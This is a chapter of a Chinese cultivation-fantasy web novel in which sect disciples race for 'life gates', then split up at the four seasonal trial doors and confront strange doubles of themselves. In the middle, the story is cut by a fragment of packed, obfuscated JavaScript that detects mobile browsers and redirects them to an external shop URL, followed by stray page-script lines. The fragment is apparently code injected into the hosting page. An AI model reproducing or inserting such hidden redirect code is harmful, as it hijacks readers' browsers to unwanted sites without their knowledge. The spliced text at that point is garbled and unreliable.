端木皓跟在后面不说话。
御龙启明一听他们要跑路,当即就像炸了的锅,挥舞着四肢胡乱踢打。吼道:“你们要逃跑!”
“不是逃跑,是敌进我退。”风角耐心解释道。
“那不还是逃跑吗?”端木皓幽幽然。
风角朝他一瞪,“你别打岔。”
站在树后目睹全过程的南喻不由得笑出了声,难怪御龙启明会那么暴躁。
合着他一个暴躁公猫和三个没干劲的软柿子组了队。那一身暴脾气多半是对风角三人恨铁不成钢的无奈。
南喻盯着生门前的那些弟子,恰在此时,身后的镜流之门骤然开启。
她立刻意识到雨师芸她们找到了新的生门,那么就没必要在这扇生门前白费力气。南喻动了动指尖的红线。
站在生门前的慈因目光一顿,面前忽然浮起一根红线。
那根红线来自树后的南喻。
他顺着红线望去,正巧对上树后南喻的目光,她无声朝他点头。慈因心领神会,几步上前腾空而起。迅速脱离了战场。
赶到生门前的御节和雨师芸骤然化作一团雾气散开。
追赶而来的百里明利不知这是怎么回事,善妙当即就反应了过来。
他们也中了幻术。
慈因已经来到南喻身边,二人抬脚便要踏入镜流之门。
一柄回旋的匕首嗖地飞来。
南喻侧眸一愣。
下一刻长剑上扬,只听“铛”地一声。
那柄细长的匕首被弹开,飞回了树枝上站着的人手中。
纶音单手接住匕首,轻飘飘笑道:“好狡猾啊。”
显然早已看破了她们的幻术。
慈因挡在她身前,低声嘱咐:“快走。”
南喻点头,利落地钻入镜流之门。慈因收剑负责断后,他仰头望了望树上的纶音,仰头微微一笑:“可不能伤了我师妹。”
纶音收起匕首,只觉得这个大师兄真会扮猪吃虎,她仰起下巴,道:“大师兄说笑了,生门之争,各凭本事。”
慈因并未多看她,反而善意提醒,“山中生门不多了,若是想进入四象试炼,就快些脱离战场吧。”
毕竟留在这儿才是浪费时间。
说罢,他抬脚后退一步,将整个身躯没入镜流之门里。
那样满面笑意的脸让纶音不由发颤。
直到他彻底消失,镜流之门关闭。
***
地洞前,南喻三人坐在石块上。
慈因慢悠悠地从镜流之门里出来,他出来后不忘先环顾四周的环境。然后仰头看看,盯着面前的巨大洞穴,若有所思道:“这好像是……雷鸟的巢穴。”
坐在石块上的三人陡然瞪大双眼,不久前两只雷鸟搏斗的场面还在脑海中浮现。
眼下直接闯到了雷鸟的巢穴前。
“没关系。”慈因声音轻柔,处事不惊道:“咱们先进生门吧。”
御节得意洋洋的站起,伸了个懒腰。故意道:“哎~什么观照,还没我一双眼睛找的快。”
说完,他就露出得意的笑。
赤裸裸地挑衅雨师芸。
雨师芸被气的面色赤红,她本找到了生门,却被那几个明王山弟子抢了先。等她折返回去时,御节已经抢先一步找到了这扇生门。
分明是自己的观照术先发现的,结果让他抢了先。她没好气道:“本小姐让你的。”
御节抱臂,不吃她这一套。利落回怼:“感知到和找到是两回事。”
“你!”雨师芸被他气的说不出话。
“好了好了。”见情况不对,南喻急忙出来打圆场。推着他们上前,“咱们先进生门再说,万一让旁人抢了先。”
这么一说,雨师芸尤其能感同身受。
她当即就抬了脚,御节随后跟了过去。
四人进入雷鸟巢穴,深不见底的巢穴里散落着羽毛,漆黑的道路看不见尽头。所幸生门所在的位置就在洞口边,望着那道亮起的生门。
南喻将怀中的令牌交给了雨师芸,示意她去开启。
御节见状,怨道:“我找到的,为什么要让她来开?”
肩头却被慈因按住,他摇摇头示意御节不要乱动。御节虽然不满,但被慈因这么一按,也就乖乖老实下来。
雨师芸拿着令牌,心里比方才好受多了。她看了看身后的四人,手里拿着的仿佛不是令牌,而是她们交付的信任。
她上前伸手,将令牌放入生门上。
咔嚓!
生门轰然开启,迸发出刺眼光芒。
与此同时,洞穴外响起一阵细碎的脚步声。
有弟子发现了这里,定睛一瞧,大声道:“这儿有生门!大家快来!”
“不好。”御节没料到这么快就有人追了过来。
不等众人反应过来,慈因已经一只手提着御节的衣领,一只手抱着南喻奔向生门。南喻伸手顺势拉住雨师芸的胳膊,三人在慈因的带力下一头扎进生门中。
生门轰然关闭,一道红色光柱拔地而起。
***
生门后,四人噗呲摔倒在地,滚成一片。
南喻扶着脑袋坐起,无意间摸到了身下柔软的布料。
下方的人不紧不慢道:“没受伤吧?”
是慈因!她居然坐到了慈因身上,等南喻看清慈因的脸时,她才意识到自己跨坐在他腹部,双手按在他胸口。
慈因静静地看着她,双手扶着她的胳膊。浅笑道:“你的脸好像红了。”
……南喻不自觉红了脸,结巴道:“我…我现在就起来。”
她起身迅速捂着自己通红的脸颊。
慈因理了理衣摆,又伸手去试她的额头,没有生病。
四人整理好自己之后,才发现四周漆黑如夜,空气中时不时飘荡着金色灵气。雨师芸指着前方:“那里有门。”
不远处四扇门赫然立在众人眼前。
靠近后,南喻发现四扇门分别为青色,橙色,棕色和白色。
“这就是四象门。”慈因冷不丁地出现在她身后。
四象门?
“那这后面就是四象试炼?”御节往前凑了凑。没看出有什么异常。
不过是四扇漂浮着灵气的门而已。
“门后面就是四象试炼,一人一扇门,分开试炼。有一人认输,全队淘汰。”
一人认输全队淘汰。
听起来这么毛骨悚然。
她干巴巴问道:“难吗?”
慈因如实道:“难。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762544|203609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>御节探头问:“多难?”
“有八成的弟子会在这里被淘汰。”
这么难!南喻紧拧眉心。雨师芸也开始认真思考,里面到底会有什么在等他们……
御节拍拍肩头的衣摆,好似没认真听他们说的话。大步流星的走到门前,抬手就把门推开了。
“管那么多,先进去再说。”
说完,人就推着门进去了。
望着那道被关上的春之门,三人眨了眨眼。
相处这么久,南喻才发现御节这人有个非常好的优点。
抗压能力十分强。
没有什么事是他吃一顿饭缓解不了的。
随着御节进入生门,春之门关闭后。矗立在旁的夏之门轰然打开。
看来要一个一个进,后面的两扇门才会开启。
三人站在夏之门前犹豫起来。
御节进了春之门,才开启了夏之门。那么必须有人进入夏之门,后面的秋之门才会开启,以此类推。
三人沉思不语。
南喻刚要开口,就被雨师芸打断。她站在夏之门前,“这扇门还是我进吧。”
她转头,望着南喻二人,耿耿于怀道:“我可不想输给御节!”
说罢,转身进了夏之门。
不得不说,御节和雨师芸相互较劲,反倒意外鼓舞了她们对修炼的热情。
也算是好事一桩。
夏之门关闭后,秋之门相继开启。
南喻站在秋之门前,暗自给自己打气。然后在慈因的注视下进入秋之门。
随着秋之门的关闭,慈因陷入了无声的冷寂之中。他孤身站在大开的冬之门前,里面扑面而来的风雪像千万只白骨的利爪。
活生生要将他撕碎。
而他站在门前,看到了里面血色的天空。路的尽头有人站在那里,似乎等了他许久。
天地陡然变换,血色逆流入天空,白雪扑向树木,大地变为黑色。
慈因再次抬眸间,自己已经进入了冬之门。
眼前的事物完全颠覆了他的认知,血海天空,黑土大地……
苍白到极点的诡异树林。
他缓步上前,黑色焦土的尽头站着一位神秘黑影。
察觉到身后来人,黑影闻声转头,如见故人般,对着慈因露出桀骜一笑。
“好久不见啊,慈因。”
在看清对方的容貌后,慈因身形不稳,倒退两步。“你……”
春之幻境中。
御节被卡在裂缝中动弹不得,他的右手被落在缝隙中的巨石死死卡住。身躯还能动弹,一只手已经动不了了,导致他无法逃离缝隙。
御节挣扎了几次,巨石纹丝不动。他右手手腕已经开始红肿。
他抬手施法,准备击碎巨石。可念出法咒后,周遭却异常安静。御节皱着眉头,又念了一遍法咒,还是没有动静。
御节半卡在缝隙中,本可以出去。
却因这块巨石而不能动弹。
他抬手就要拔剑,有人快了他一步,背后的剑柄被人轻轻一抽,他拔了个寂寞。
“你是谁?”他问。
站着地面上的人低头看着缝隙中的御节,反手用手中的剑柄敲了下他的额头。和煦笑道:“笨蛋,我就是你啊。”